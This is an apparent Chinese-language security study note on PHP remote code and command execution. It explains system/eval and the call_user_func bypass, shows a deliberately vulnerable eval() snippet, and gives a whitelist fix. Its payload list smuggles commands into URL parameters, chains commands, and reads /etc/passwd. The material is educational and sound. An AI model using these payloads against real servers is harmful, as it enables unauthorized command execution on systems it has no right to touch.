Skip to content
Kurisu
Go back

命令执行与代码执行

命令执行和代码执行我一开始老混,这篇把它们掰清楚:拼接符怎么用、黑名单过滤怎么绕、disable_functions 是个什么防线。

核心知识点

1. RCE 两大概念(重点区分)

类别执行对象示例函数执行上下文
命令执行操作系统命令system()exec()shell_exec()passthru()操作系统层面
代码执行编程语言代码eval()assert()create_function()preg_replace /e语言解释器层面

2. 命令执行函数与拼接符号

3. eval 与代码执行

4. eval 完整执行流程(从 URL 到系统命令)

请求:

http://192.168.50.1/test.php?code=call_user_func('system',$_GET['cmd']);&cmd=whoami

后端:

<?php
if (isset($_GET['code'])) {
  echo eval($_GET['code']);
}
?>

执行链:

1. 浏览器发送 code、cmd 两个参数
2. PHP 参数解析:$_GET['code'] 保存代码字符串,$_GET['cmd'] 保存 'whoami'
3. isset() 判断通过, if
4. eval() 把字符串 call_user_func('system', $_GET['cmd']); 当作 PHP 代码执行
5. $_GET['cmd'] 在 eval 上下文中读出 'whoami'
6. call_user_func() 把 'system' 当函数名、'whoami' 当参数
7. 等价 system('whoami'),调用操作系统命令
8. 操作系统返回 Web/PHP 进程的运行账户(www-data/apache/nginx)
9. system() 直接把输出 HTTP 响应

为什么外层 echo 通常没有额外输出:system() 直接输出结果;call_user_func 把返回值继续返回;eval 无 return 时返回 null;echo null 无可见输出。

最终等价eval(code 字符串) → call_user_func('system','whoami') → system('whoami') → 操作系统执行 whoami

5. 回调函数 call_user_func(绕过 system 过滤)

call_user_func('system', $_GET['cmd']);

6. 为什么这是高危漏洞

7. 修复思路

$actions = [
  'show_user' => function () { return '固定业务逻辑'; },
];
$action = $_GET['action'] ?? '';
if (isset($actions[$action])) {
  echo $actions[$action]();
} else {
  http_response_code(400);
  echo '非法操作';
}

实操步骤

# 命令执行测试
?cmd=whoami
?cmd=id
?cmd=ping -c 3 127.0.0.1 ; whoami
?cmd=cat /etc/passwd
?cmd=`whoami`

# 代码执行
?code=phpinfo();
?code=system('whoami');

# 回调函数绕过(system 被过滤时)
?code=call_user_func('system',$_GET['cmd']);&cmd=whoami

# preg_replace /e(旧版本)
?code=preg_replace('/.*/e', $_GET['cmd'], 'x');

常见错误与排查


Share this post:

Previous Post
文件包含漏洞(LFI/RFI)
Next Post
CSRF 与越权漏洞